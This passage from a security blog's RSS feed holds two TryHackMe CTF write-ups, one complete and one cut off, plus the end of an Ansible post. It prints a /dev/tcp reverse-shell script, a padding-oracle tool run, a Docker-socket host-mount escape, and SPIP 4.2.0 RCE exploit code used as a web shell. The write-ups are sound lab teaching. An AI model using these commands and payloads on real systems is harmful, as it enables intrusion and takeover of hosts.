...</pre><p>In this example any variable defined in the YAML configuration at host_vars/test01.birb.local/vars/main.yml would override the same found in either group_vars/testing/... and group_vars/all/....</p><p>This may seem confusing because of the sheer amount of folders and files, but let’s pretend that we needed to work on the testing server and had to update its configuration. Our file explorer would be nice and clean:</p><pre>...<br>│<br>├── ubuntu<br>│   ├── group_vars<br>│   │   ├── all<br>│   │   ├── production<br>│   │   └── testing<br>│   │       └── vars<br>│   │           └── main.yml<br>│   ├── hosts<br>│   └── host_vars<br>│       ├── test01.birb.local<br>│       │   └── vars<br>│       │       └── main.yml<br>│       ├── web01.birb.local<br>│       └── web02.birb.local<br>...</pre><p>The risk of affecting the production configuration is significantly limited simply because we can collapse all other folders in our working tree, other than the ones we need to look at: testing.</p><h4>Organizing for scale — the “Gotcha”</h4><p>We’ve seen how we can structure our working tree such such that the configuration of our different inventory groups is separated in a clean, reusable manner. We’ve also seen how this structure co-exists nicely with a hosts inventory file. Now, what if we needed a different type of host for our production environment, say a Windows based host? Where would we re-create this structure to support Windows, but also maintain the neat overview and structure? You may have have guessed it but if not this may sound too trivial to be really effective. But it really is! We create another folder.</p><p>If we put ubuntu and with all its content inside an environments folder (any name will do, in this case it is just a namespace), we are able to create a new “environment” called windows and redo all of the above steps for Windows-based hosts: create a hosts file andgroup_vars and host_vars folders with relevant configuration inside.</p><p>It would look something like this:</p><pre>...<br>|<br>├── environments<br>│   ├── ubuntu<br>│   │   ├── group_vars<br>│   │   ├── hosts<br>│   │   └── host_vars<br>│   └── windows<br>|       ├── group_vars<br>│       ├── hosts<br>│       └── host_vars<br>├── playbooks<br>└── roles</pre><p>When running a playbook we can simply specify which inventory (environment) we would like to use together with a specific playbook, e.g.:</p><pre>ansible-playbook -i environments/ubuntu playbooks/ubuntu.yml</pre><p>This will run the ubuntu.yml playbook against the ubuntu environment (note: Ansible will automatically detect the hosts file inside ubuntu).</p><p>That’s it! How simple is that?</p><p>Following this style allows us to maintain a clean and easy-to-use project structure that allows us to scale our Ansible deployments to countless environments and even more machines, all with significant reduced risk of operational incidents due to working in a fragile and cluttered code base.</p><h4>Demo</h4><p>A fully functional demo of this structure with working Ansible code that lets you provision three Ubuntu Server 24.04 machines with Apache2 (and neovim for the test machine) can be found on my GitHub at: <a href="https://github.com/HeckerBirb/ansible-at-scale-demo">https://github.com/HeckerBirb/ansible-at-scale-demo</a></p><p>Following the instructions you should be able to be greeted the same way I was when visiting <a href="http://web01.birb.local/">http://web01.birb.local</a>/:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2elsElAYV1fOvlbn0P85A.png" /><figcaption>Working POC of our Apache2 web server.</figcaption></figure><h3>Acknowledgements</h3><p>This blog post would not have been possible to make without the help from Jeff Geerling and his <a href="https://www.youtube.com/watch?v=goclfp6a2IQ&amp;list=PL2_OBreMn7FqZkvMYt6ATmgC0KAGGJNAN">YouTube series</a> and book <a href="https://www.ansiblefordevops.com/">Ansible for DevOps</a>, both of which I highly recommend.</p><h3>Thank you</h3><p>Thank you for reading along. If you liked this article, please consider liking it or leaving a comment. Until next time!</p><p>— Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b512d3afc71b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[New York Flankees, TryHackMe CTF Write-up]]></title>
            <link>https://medium.com/@0xbirb/new-york-flankees-tryhackme-ctf-write-up-7130e8aae53c?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/7130e8aae53c</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Thu, 18 Jul 2024 14:31:07 GMT</pubDate>
            <atom:updated>2024-07-23T09:15:04.670Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc/4.0/</cc:license>
            <content:encoded><![CDATA[<h3>New York Flankees, TryHackMe CTF write-up</h3><h4>Showcasing how to perform a Padding Oracle attack against CBC mode encryption, a quick container escape and an early weekend.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*Rnx1tyh9Ea6go69VWAbZ8Q.png" /></figure><p>💳💰 <a href="https://localnest.xyz/new-york-flankees-tryhackme-ctf-write-up-7130e8aae53c?sk=b28a9e8e2bde9cd57ceb7d45d9163e79"><strong><em>Not a Medium member? No problem! Click here to read for free.</em></strong></a><strong><em> </em></strong>📃😄</p><h3>Brief recap</h3><p>In this room we will mainly explore how to carry out a padding oracle attack. The rest of the room, past this stage, is straight forward and barely needs any introduction: a “debug” page which lets us run any command on the server, followed by a docker container escape from an environment with high privileges.</p><h4>Padding Oracle attack? What? An appetizer…</h4><p>I’m no encryption expert and quite frankly, even though I was on the right track on release night, I waited doing the room until I was able to glance over other write-ups. Turns out all I was missing back then was a few more minutes of Google-foo. Oh well.</p><p><a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">Wikipedia</a> describes this technique the following way:</p><blockquote>In cryptography, <strong>a padding oracle attack is an attack which uses the padding validation of a cryptographic message to decrypt the ciphertext</strong>. In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive. The attack relies on having a “padding oracle” who freely responds to queries about whether a message is correctly padded or not. The information could be directly given, or leaked through a side-channel.</blockquote><p>In other words, a padding oracle attack exploits the way some cryptographic algorithms use padding to make the length of the plaintext a multiple of a block size. Remember in base64 encodin how sometimes there’s a = or == at the end of the string? Yeah, just like that.</p><p>When decrypting, the system checks if the padding is correct and often gives different error messages or responses depending on whether the padding is valid or not. If this error message is leaked somehow (or directly returned to the user as in this case), an attacker can use this information to decrypt ciphertext without knowing the encryption key.</p><p>Confused? Me too. Let’s focus on the Google-foo and running scripts we find on Github! :)</p><h3>Getting foothold</h3><h4>Initial enumeration</h4><p>Our journey starts like all other journeys start with nmap:</p><pre>root@kali:~$ nmap -sV -sC -v -p- -Pn 10.10.99.209<br>[...]<br>ORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 95:b3:26:df:78:bd:88:20:51:8a:08:5c:aa:1d:05:24 (RSA)<br>|   256 0a:79:27:6b:7f:5b:b1:d0:f8:6b:ac:22:56:95:f7:88 (ECDSA)<br>|_  256 1a:f4:d5:bb:f8:34:bb:c4:f2:c7:24:82:58:6f:2c:41 (ED25519)<br>8080/tcp open  http    Octoshape P2P streaming web service<br>| http-methods: <br>|_  Supported Methods: GET<br>|_http-favicon: Unknown favicon MD5: 6FD74A43E6C5F7502642326FAB0B3E69<br>|_http-title: Hello world!<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>[...]</pre><p>As usual SSH is typically not worth testing as a first step, especially not OpenSSH 8.2p1 (even the latest <a href="https://www.qualys.com/regresshion-cve-2024-6387/">CVE-2024–6387 “regreSSHion”</a> bug is not relevant here). Let’s visit the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uLLd8k23_J9y9rHVKn5mvA.png" /><figcaption>“Oracle” website with a peculiar “Stefan Test” link at the top.</figcaption></figure><p>Visiting the peculiar link “Stefan Test” we are presented with a page full of error messages. Reading the source code of the page we see an incomplete attempt at authentication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RsSjvH2MQpoe8DZnl0O4w.png" /></figure><p>Let’s inspect this code a little closer:</p><pre><br>&lt;script&gt;<br>    function stefanTest1002() {<br>        var xhr = new XMLHttpRequest();<br>        var url = &quot;http://localhost/api/debug&quot;;<br>        // Submit the AES/CBC/PKCS payload to get an auth token<br>        // TODO: Finish logic to return token<br>        xhr.open(&quot;GET&quot;, url + &quot;/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4&quot;, true);<br><br>        xhr.onreadystatechange = function () {<br>            if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {<br>                console.log(&quot;Response: &quot;, xhr.responseText);<br>            } else {<br>                console.error(&quot;Failed to send request.&quot;);<br>            }<br>        };<br>        xhr.send();<br>    }<br>&lt;/script&gt;</pre><p>We notice a few interesting things about this block of JavaScript:</p><ul><li><strong>The debug endpoint:</strong> <a href="http://localhost/api/debug">http://localhost/api/debug</a></li><li><strong>A hint about the encryption method:</strong> AES/CBC/PKCS</li><li><strong>Encrypted plaintext:</strong> 3935366135393…48471F810EF4</li></ul><p>If we just “visit that page” (i.e. perform the GET request) we get a success message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXlfmcIiScVGfpVIx0sMvw.png" /><figcaption>Successful decryption attempt, server side.</figcaption></figure><p>If we try to delete some of the encrypted message, e.g., the last F4 byte, we get an error message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjQZWKhhd2-2VYGTgdxD8w.png" /><figcaption>Unsuccessful decryption attempt, server side.</figcaption></figure><p>This is a problem for the poor web dev, but a benefit for us. Let’s abuse this.</p><h4>Performing the oracle padding attack</h4><p>After some Google-foo we find this Github repo: <a href="https://github.com/glebarez/padre">padre</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*2whMkFOVGvXjRH4roqKzzA.png" /><figcaption>Demo of the padre exploit. Source: <a href="https://github.com/glebarez/padre">https://github.com/glebarez/padre</a></figcaption></figure><p>Judging by the demo in the repo — a screenshot of the gif is shown above — the tool seems to be able to brute force the encryption key simply because the decryption functionality reports an error when the padding is wrong.</p><p>Let’s get the tool and run it.</p><pre>root@kali:~$ wget https://github.com/glebarez/padre/releases/download/v2.1.0/padre-linux-amd64<br>root@kali:~$ mv padre-linux-amd64 padre<br>root@kali:~$ chmod +x padre</pre><p>We’re now ready to run the exploit. Let’s break down the arguments we need to use first:</p><ul><li>-u http://10.10.99.209:8080/api/debug/$ — the URL where $ represented the wildcard where values for brute forcing is inserted (e.g., the full encrypted text).</li><li>-e lhex — specifies that the encrypted string is in hex (as opposed to the default base64 encoding).</li><li>-err &quot;Decryption error&quot; — the error message that we get when padding is too incorrect (e.g., it is missing the F4 value we tried to cut away earlier).</li><li>-p 42 — number of concurrent threads to use.</li><li>Finally the full, encrypted string.</li></ul><pre>root@kali:~$ ./padre -u http://10.10.99.209:8080/api/debug/$ -e lhex -err &quot;Decryption error&quot; -p 42 &quot;39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4&quot;<br>[i] padre is on duty<br>[i] using concurrency (http connections): 42<br>[+] padding oracle confirmed<br>[+] detected block length: 16<br>[!] mode: decrypt<br>[1/1] stefan1197:ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f... [64/64] | reqs: 7480 (498/sec)</pre><p>Within a few seconds we get the delicious credentials for Stefan:</p><pre>stefan1197:ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599</pre><p>…which we can use to log in to the admin page.</p><h3>Escalating to (a proper) root</h3><p>The admin page immediately shows us the first flag and what seems to be s direct RCE onto the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nTlDteIxAEzGeHJtolHww.png" /><figcaption>Admin page with a lucrative debug feature.</figcaption></figure><p>Running a simple reverse shell command doesn’t seem to work immediately so we do the next best: create a shell script, upload it and execute it.</p><pre>root@kali:~$ cat birb.sh <br>#!/usr/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.11.97.207/80 0&gt;&amp;1</pre><p>In this case I created a birb.sh script with a template reverse shell from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadAllTheThings</a> and insert our own VPN IP address and port 80.</p><p>We host this on our kali machine and ask the web server to download the script into /tmp/birb.sh.</p><pre>root@kali:~$ python3 -m http.server 80 <br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSQC8Zs8wegkxKoe72SduQ.png" /><figcaption>Download the shell script from our kali machine.</figcaption></figure><p>Next we set up a netcat listener on port 80 instead:</p><pre>root@kali:~$ nc -lvnp 80<br>listening on [any] 80 ...</pre><p>Then we make the script executable and run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFhPMH7l-SEfAz2seovS2w.png" /><figcaption>Make the script executable.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zIh72PgRr_SxIsOquQm-g.png" /><figcaption>Run the script from the server.</figcaption></figure><p>And we get a nice little shell:</p><pre>root@kali:~$ nc -lvnp 80                                                                                                                                                                                                                                <br>listening on [any] 80 ...<br>connect to [10.11.97.207] from (UNKNOWN) [10.10.99.209] 56516<br>bash: cannot set terminal process group (1): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@02e849f307cc:/#</pre><p>The hostname is curious. Typically hostnames that look like a random combination of hex characters like this indicate that we’re inside a Docker container. A quick ls -las confirms our suspicions:</p><pre>root@02e849f307cc:/# ls -las /<br>ls -las /<br>total 84<br>4 drwxr-xr-x   1 root root 4096 Jul 18 12:19 .<br>4 drwxr-xr-x   1 root root 4096 Jul 18 12:19 ..<br>0 -rwxr-xr-x   1 root root    0 May  8 12:25 .dockerenv<br>4 drwxr-xr-x   1 root root 4096 May  8 12:25 app<br>4 drwxr-xr-x   1 root root 4096 May  8 12:25 bin<br>4 -rw-r--r--   1 root root   60 Jul 18 12:18 birb.sh<br>4 drwxr-xr-x   2 root root 4096 Jun 30  2022 boot<br>[...]</pre><p>The .dockerenv file is a typical give-away of “being in” a docker container. Besides this, two things are curious: app and birb.sh. The shell script was downloaded to the /tmp folder, but this is the / folder. Something curious is happening and most likely we would want to “escape” this place — it feels like an attempt of isolation or even a jail, perhaps without the actual jail functionality.</p><p>Let’s investigate the app folder:</p><pre>root@02e849f307cc:/# ls -las app<br>ls -las app<br>total 14672<br>    4 drwxr-xr-x 1 root root     4096 May  8 12:25 .<br>    4 drwxr-xr-x 1 root root     4096 Jul 18 12:19 ..<br>    4 drwxr-xr-x 8 root root     4096 May  8 12:20 .git<br>    4 -rw-r--r-- 1 root root      435 May  8 12:20 .gitignore<br>    4 -rw-r--r-- 1 root root      381 May  8 12:20 Dockerfile<br>    4 -rw-r--r-- 1 root root       58 May  8 12:20 README.md<br>    4 -rw-r--r-- 1 root root      809 May  8 12:20 build.gradle.kts<br>    4 -rw-r--r-- 1 root root      602 May  8 12:20 docker-compose.yml<br>    4 drwxr-xr-x 3 root root     4096 May  8 12:20 gradle<br>    4 -rw-r--r-- 1 root root       92 May  8 12:20 gradle.properties<br>    8 -rwxr-xr-x 1 root root     8070 May  8 12:20 gradlew<br>    4 -rw-r--r-- 1 root root     2674 May  8 12:20 gradlew.bat<br>14612 -rw-r--r-- 1 root root 14959809 May  8 12:24 ktor-docker-sample.jar<br>    4 -rw-r--r-- 1 root root       30 May  8 12:20 settings.gradle.kts<br>    4 drwxr-xr-x 4 root root     4096 May  8 12:20 src</pre><p>We see both a Dockerfile and a docker-compose.yml file. The first file is used to define new docker images, the second file is used to define how docker containers should be created (what should be mounted in from the outside, which ports to expose, which environment variables to pass along, and so forth).</p><p>Looking at the docker-compose.yml file we see another flag in the CTF_DOCKER_FLAG environment variable:</p><pre>root@02e849f307cc:/# cat app/docker-compose.yml<br>cat app/docker-compose.yml<br>version: &quot;3&quot;<br>services:<br>  web:<br>    build: .<br>    ports:<br>      - &quot;8080:8080&quot;<br>    volumes:<br>      - /var/run/docker.sock:/var/run/docker.sock<br>    restart: always<br>    environment:<br>      - CTF_USERNAME=stefan1197<br>      - CTF_PASSWORD=ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599<br>      - CTF_ENCRYPTION_KEY=2d3981f51f18b0b9568521bb39f06e5b<br>      - CTF_ENCRYPTION_IV=956a591992734c68<br>      - CTF_RESOURCES=/app/src/resources<br>      - CTF_DOCKER_FLAG=THM{342878cd14051bd787352ee73c75381b1803491e4e5ac729a91a03e3c889c2bf}<br>      - CTF_ADMIN_PANEL_FLAG=THM{a4113536187c6e84637a1ee2ec5359eca17bbbd1b2629b23dbfd3b4ce2f30604}</pre><p>Since it appears that the intention has been to run docker containers in this environment, let’s quickly test if the docker binary is available to us:</p><pre>root@02e849f307cc:/# which docker<br>/usr/bin/docker</pre><p>Nice. We can abuse this by mounting in the root filesystem of the host like we did in <a href="https://localnest.xyz/publisher-tryhackme-ctf-write-up-13c9198d0991">Publisher</a>. First let’s elevate our shell to a pseudo TTY shell. The full experience looks like this in my VM:</p><pre>root@02e849f307cc:/# python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>root@02e849f307cc:/# ^Z<br>[1]+  Stopped                 nc -lvnp 80<br><br>root@kali:~$ stty raw -echo<br>root@kali:~$                                                                                                                                                                                                                                            <br>nc -lvnp 80<br>           export TERM=xterm<br>root@02e849f307cc:/# export COLUMNS=180<br>root@02e849f307cc:/#</pre><p>In other words, this is what we do:</p><ul><li>Run python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</li><li>Hit Ctrl+Z</li><li>Run stty raw -echo</li><li>Type fg and hit enter (you most likely won’t see “fg” when typing it)</li><li>Run export TERM=xterm</li><li>Run export COLUMNS=180</li></ul><p>The last two commands set up our pseudo TTY to use a common terminal and sets the column width (how many characters fits in a buffer before wrapping around) to 180. This makes the output look nicer and less squished on wider screens (i.e. screens not from 40+ years ago). <a href="https://en.wikipedia.org/wiki/Characters_per_line">More info on this here</a>.</p><p>First let’s see which docker images we have available.</p><pre>root@02e849f307cc:/# docker images<br>REPOSITORY               TAG       IMAGE ID       CREATED         SIZE<br>padding-oracle-app_web   latest    cd6261dd9dda   2 months ago    1.01GB<br>&lt;none&gt;                   &lt;none&gt;    4187efabd0a5   2 months ago    704MB<br>gradle                   7-jdk11   d5954e1d9fa4   2 months ago    687MB<br>openjdk                  11        47a932d998b7   23 months ago   654MB</pre><p>We will use a simple image without too many custom modifications. The openjdk image is both small and most likely simple enough for our use. Next we run a new docker container mounting in the root filesystem. Before doing so, let’s break down the parameters:</p><ul><li>docker run — run a new container with the image specified in the end.</li><li>-it — run the container in interactive, e.g., to interact with bash.</li><li>-v /:/pwned — this is the good bit: mount <em>the entire</em> root filesystem into the /pwned location inside the container.</li><li>47a932d998b7 — the ID of the docker image we want to use (openjdk ).</li><li>bash — the command we want to run within the docker image i.e. our shell which we will run interactively.</li></ul><p>We are then able to freely interact with the real root filesystem:</p><pre>root@02e849f307cc:/# docker run -it -v /:/pwned 47a932d998b7 bash<br>root@c316fead613a:/# ls -las /pwned<br>total 76<br> 4 drwxr-xr-x  19 root root  4096 Jul 18 11:57 .<br> 4 drwxr-xr-x   1 root root  4096 Jul 18 14:23 ..<br> 0 lrwxrwxrwx   1 root root     7 Oct 26  2020 bin -&gt; usr/bin<br> 4 drwxr-xr-x   3 root root  4096 May  8 06:53 boot<br> 0 drwxr-xr-x  15 root root  3180 Jul 18 11:57 dev<br> 4 drwxr-xr-x  97 root root  4096 Jul 18 11:57 etc<br> 4 -rw-r--r--   1 root root    70 May  8 12:22 flag.txt<br> 4 drwxr-xr-x   3 root root  4096 May  7 19:33 home<br>[...]</pre><p>In here we see the last flag flag.txt.</p><h3>Thank you</h3><p>Thank you for reading along. If you liked this article, please consider liking it or leaving a comment. Until next time!</p><p>— Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7130e8aae53c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Publisher, TryHackMe CTF Write-up]]></title>
            <link>https://medium.com/@0xbirb/publisher-tryhackme-ctf-write-up-13c9198d0991?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/13c9198d0991</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[alternative]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Tue, 09 Jul 2024 12:02:33 GMT</pubDate>
            <atom:updated>2024-07-23T09:17:37.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>Publisher, TryHackMe CTF write-up</h3><h4>Exploiting SPIP and showcasing alternative privileges escalations.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*tASmG69l-PzRlTPUalYAOg.png" /></figure><p>💳💰 <a href="https://medium.com/@0xbirb/publisher-tryhackme-ctf-write-up-13c9198d0991?sk=cdccf6f11fdc928fb175aa8bfdc2e1ec"><strong><em>Not a Medium member? No problem! Click here to read for free</em></strong></a><strong><em>. </em></strong>📃😄</p><h3>Brief recap</h3><p>In this article we will explore an alternative solution to rooting the CTF Challenge “Publisher” from TryHackMe. The initial steps will be as intended, however working around the security restrictions can be done in multiple ways. First I will present my solution to bypassing the limitations, and then I will present the intended way. Let’s hack!</p><h3>Getting foothold</h3><h4>Initial enumeration</h4><p>As always we start the journey with an nmap scan of the machine to identify open services.</p><pre>nmap -sC -sV -p- -v -Pn 10.10.4.34</pre><p>SSH and an HTTP website is identified:</p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)<br>|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)<br>|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: HEAD GET POST OPTIONS<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Publisher&#39;s Pulse: SPIP Insights &amp; Tips<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h4>Attempting to exploit the website</h4><p>Usually SSH is never the way to get foothold, so I tend to ignore this. The website seems interesting however:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbshqafra0dwjW0WeeIQRw.png" /><figcaption>Visiting the website: maybe a blog for internal development? Talks about “SPIP”.</figcaption></figure><p>SPIP turns out to be “a publishing system for the Internet”. At this point, because we know that we most likely want to explore that “SPIP publisher”, I like to do three things in the following order:</p><ul><li>Try visiting /spip</li><li>Set up /etc/hosts and try visiting <a href="http://spip.publisher.thm/">http://spip.publisher.thm</a></li><li>Scan for subfolders with ffuf using a strong directory list</li></ul><p>Visiting /spip actually does show us a website, so we will continue without scanning for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l795HcdMbYC7mN7DjffQ9g.png" /><figcaption>Publisher website found by visiting /spip.</figcaption></figure><p>One thing to try first, in my opinion, is to figure out which version of the web service is running. Nothing is immediately visible on the page itself (see above), so we hit Ctrl+U in Firefox and end up at view-source:http://10.10.4.34/spip to read the HTML source code.</p><p>In here, we Ctrl+F search for “spip”. This time we were lucky and identify a version from the HTML:</p><pre>&lt;meta name=&quot;generator&quot; content=&quot;SPIP 4.2.0&quot; /&gt;&lt;/head&gt;</pre><p>Now let’s go to <a href="https://www.exploit-db.com/">https://www.exploit-db.com</a> and search for “spip”. We are in luck again and find an exploit POC that sounds promising:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6nUZY9v3jh-6sdYE5n48A.png" /><figcaption>Exploit Database search results: SPIP v4.2.0 — Remote Code Execution (Unauthenticated)</figcaption></figure><h4>Exploiting SPIP 4.2.0</h4><p>The default exploit POC does not actually print any response, so using this as a web shell out-of-the-box is not possible. I’ve made some slight changes to the script in the verbosity part, printing the HTML response in the terminal. This allows us to use the POC as a web shell.</p><p>Here is the send_payload function which I used:</p><pre>def send_payload(url, payload):<br>    data = {<br>        &quot;page&quot;: &quot;spip_pass&quot;,<br>        &quot;formulaire_action&quot;: &quot;oubli&quot;,<br>        &quot;formulaire_action_args&quot;: csrf,<br>        &quot;oubli&quot;: payload<br>    }<br>    r = requests.post(&#39;%s/spip.php?page=spip_pass&#39; % url, data=data)<br>    if options.verbose:<br>        print(&quot;[+] Execute this payload : %s&quot; % payload)<br>        print(f&#39;Status code: {r.status_code}, Content: {r.content.decode()}&#39;)<br>    return 0</pre><p>Now it’s time to test the exploit POC which I have named yoink.py:</p><pre>python3 yoink.py -u http://10.10.4.34/spip/ -v -c &#39;ls -las&#39;</pre><p>This produces quite a lot of output, but we can immediately identify the output of our command (note: some output has been redacted in the below paste):</p><pre>[...]<br>                                &lt;input type=&quot;email&quot; class=&quot;text email&quot; autofocus=&quot;autofocus&quot; required=&quot;required&quot; name=&#39;oubli&#39; id=&#39;oubli&#39; value=&quot;s:27:&quot;total 156<br> 4 drwxr-xr-x 11 www-data www-data  4096 Feb 12 20:23 .<br> 4 drwxr-x---  5 www-data www-data  4096 Dec 20  2023 ..<br> 8 -rwxr-xr-x  1 www-data www-data  7045 Dec 20  2023 CHANGELOG.md<br> 4 drwxr-xr-x  3 www-data www-data  4096 Dec 20  2023 IMG<br>36 -rwxr-xr-x  1 www-data www-data 35147 Dec 20  2023 LICENSE<br> 4 -rwxr-xr-x  1 www-data www-data   842 Dec 20  2023 README.md<br> 4 -rwxr-xr-x  1 www-data www-data   178 Dec 20  2023 SECURITY.md<br> 4 -rwxr-xr-x  1 www-data www-data  1761 Dec 20  2023 composer.json<br>28 -rwxr-xr-x  1 www-data www-data 27346 Dec 20  2023 composer.lock<br> 4 drwxr-xr-x  3 www-data www-data  4096 Dec 20  2023 config<br> 4 drwxr-xr-x 22 www-data www-data  4096 Dec 20  2023 ecrire<br> 8 -rwxr-xr-x  1 www-data www-data  4307 Dec 20  2023 htaccess.txt<br> 4 -rwxr-xr-x  1 www-data www-data    42 Dec 20  2023 index.php<br> 4 drwxr-xr-x  5 www-data www-data  4096 Dec 20  2023 local<br> 4 drwxr-xr-x 22 www-data www-data  4096 Dec 20  2023 plugins-dist<br> 4 -rwxr-xr-x  1 www-data www-data  3645 Dec 20  2023 plugins-dist.json<br> 4 drwxr-xr-x 12 www-data www-data  4096 Dec 20  2023 prive<br> 4 -rwxr-xr-x  1 www-data www-data   973 Dec 20  2023 spip.php<br> 4 -rwxr-xr-x  1 www-data www-data  1212 Dec 20  2023 spip.png<br> 4 -rwxr-xr-x  1 www-data www-data  1673 Dec 20  2023 spip.svg<br> 4 drwxr-xr-x 10 www-data www-data  4096 Dec 20  2023 squelettes-dist<br> 4 drwxr-xr-x  6 www-data www-data  4096 Jul  9 09:27 tmp<br> 4 drwxr-xr-x  6 www-data www-data  4096 Dec 20  2023 vendor<br>&quot;;&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; /&gt;<br>                        &lt;/div&gt;<br>                &lt;/div&gt;<br>        &lt;/fieldset&gt;<br>[...]</pre><p>We use this to explore a little. My usual first stop, knowing that I will most likely need to know something about the username I am chasing, is to do an ls -las in the /home folder:</p><pre>python3 yoink.py -u http://10.10.4.34/spip/ -v -c &#39;ls -las /home&#39;</pre><pre>[...]<br>                                &lt;input type=&quot;email&quot; class=&quot;text email&quot; autofocus=&quot;autofocus&quot; required=&quot;required&quot; name=&#39;oubli&#39; id=&#39;oubli&#39; value=&quot;s:33:&quot;total 12<br>4 drwxr-xr-x 1 root  root  4096 Dec  7  2023 .<br>4 drwxr-xr-x 1 root  root  4096 Dec 20  2023 ..<br>4 drwxr-xr-x 8 think think 4096 Feb 10 21:27 think<br>&quot;;&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; /&gt;<br>                        &lt;/div&gt;<br>                &lt;/div&gt;<br>        &lt;/fieldset&gt;<br>[...]</pre><p>We see a user think and explore their home directory:</p><pre>python3 yoink.py -u http://10.10.4.34/spip/ -v -c &#39;ls -las /home/think&#39;</pre><pre>[...]<br>                                &lt;input type=&quot;email&quot; class=&quot;text email&quot; autofocus=&quot;autofocus&quot; required=&quot;required&quot; name=&#39;oubli&#39; id=&#39;oubli&#39; value=&quot;s:39:&quot;total 48<br>4 drwxr-xr-x 8 think    think    4096 Feb 10 21:27 .<br>4 drwxr-xr-x 1 root     root     4096 Dec  7  2023 ..<br>0 lrwxrwxrwx 1 root     root        9 Jun 21  2023 .bash_history -&gt; /dev/null<br>4 -rw-r--r-- 1 think    think     220 Nov 14  2023 .bash_logout<br>4 -rw-r--r-- 1 think    think    3771 Nov 14  2023 .bashrc<br>4 drwx------ 2 think    think    4096 Nov 14  2023 .cache<br>4 drwx------ 3 think    think    4096 Dec  8  2023 .config<br>4 drwx------ 3 think    think    4096 Feb 10 21:22 .gnupg<br>4 drwxrwxr-x 3 think    think    4096 Jan 10 12:46 .local<br>4 -rw-r--r-- 1 think    think     807 Nov 14  2023 .profile<br>0 lrwxrwxrwx 1 think    think       9 Feb 10 21:27 .python_history -&gt; /dev/null<br>4 drwxr-xr-x 2 think    think    4096 Jan 10 12:54 